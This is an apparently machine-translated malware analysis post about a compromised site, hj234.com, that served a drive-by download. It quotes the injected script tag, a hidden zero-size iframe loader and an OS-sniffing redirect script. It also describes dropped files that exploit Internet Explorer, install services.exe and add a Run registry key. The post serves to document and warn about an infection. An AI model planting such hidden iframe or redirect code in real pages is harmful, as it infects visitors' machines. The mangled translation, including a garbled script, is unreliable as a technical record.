Questions about hxxp: // www.hj234.com

EndurerOriginal

1Version

On the homepage of hxxp: // www.hj234.comCode:

 

 

<Script language = JavaScript src = "hxxp: // www. *** hj234.com/abc/abc.js"> </SCRIPT>

 

 

Hxxp: // www. **** the content of hj234.com/abc/abc.js is:

 

Document. Write ("<IFRAME Height = 0 width = 0 frameborder = 0 src = 'hxxp: // www. *** hj234.com/abc/joke.htm'> </iframe> ")

 

 

 

Hxxp: // www. **** the content of hj234.com/abc/joke.htmis:

 

<Center> <font color = Red> sorry, the page you visited does not exist! </Font> <center> <script language = JavaScript> Ie = 'windows'; ver = navigator. appversion; If (! (Ver. indexof ('nt 5.0 ') =-1) IE = 'winnt'; If (! (Ver. indexof ('windows 98'{}-1}}{ie}'w98'{location.href}ie}'.htm'; </SCRIPT>

 

 

 

Click "Windows" to open windows. htm, winnt.htmor w98.htm.

The technology andWe found a website using technical upgrades and downloading pigeons.Same.

These three webpages will download/run filesYoung.gifAndYoung.css

Young.gifThis is a Web page file used by the system to leak holes. When the registration table is caught by the Internet Explorer folder, wscript.shellis used to copy the young.css file and create the file C:/wins. bat, C:/boot. HTA, C:/wins.exe.
Jiangmin kv2006 reportedExploit. vbs. phel. Ba

young.css written in VB6, modify the IE startup page, create a file named services.exe, and add the startup item to the run key of the Registry. Jiangmin kv2006 reports trojandropper. delf. d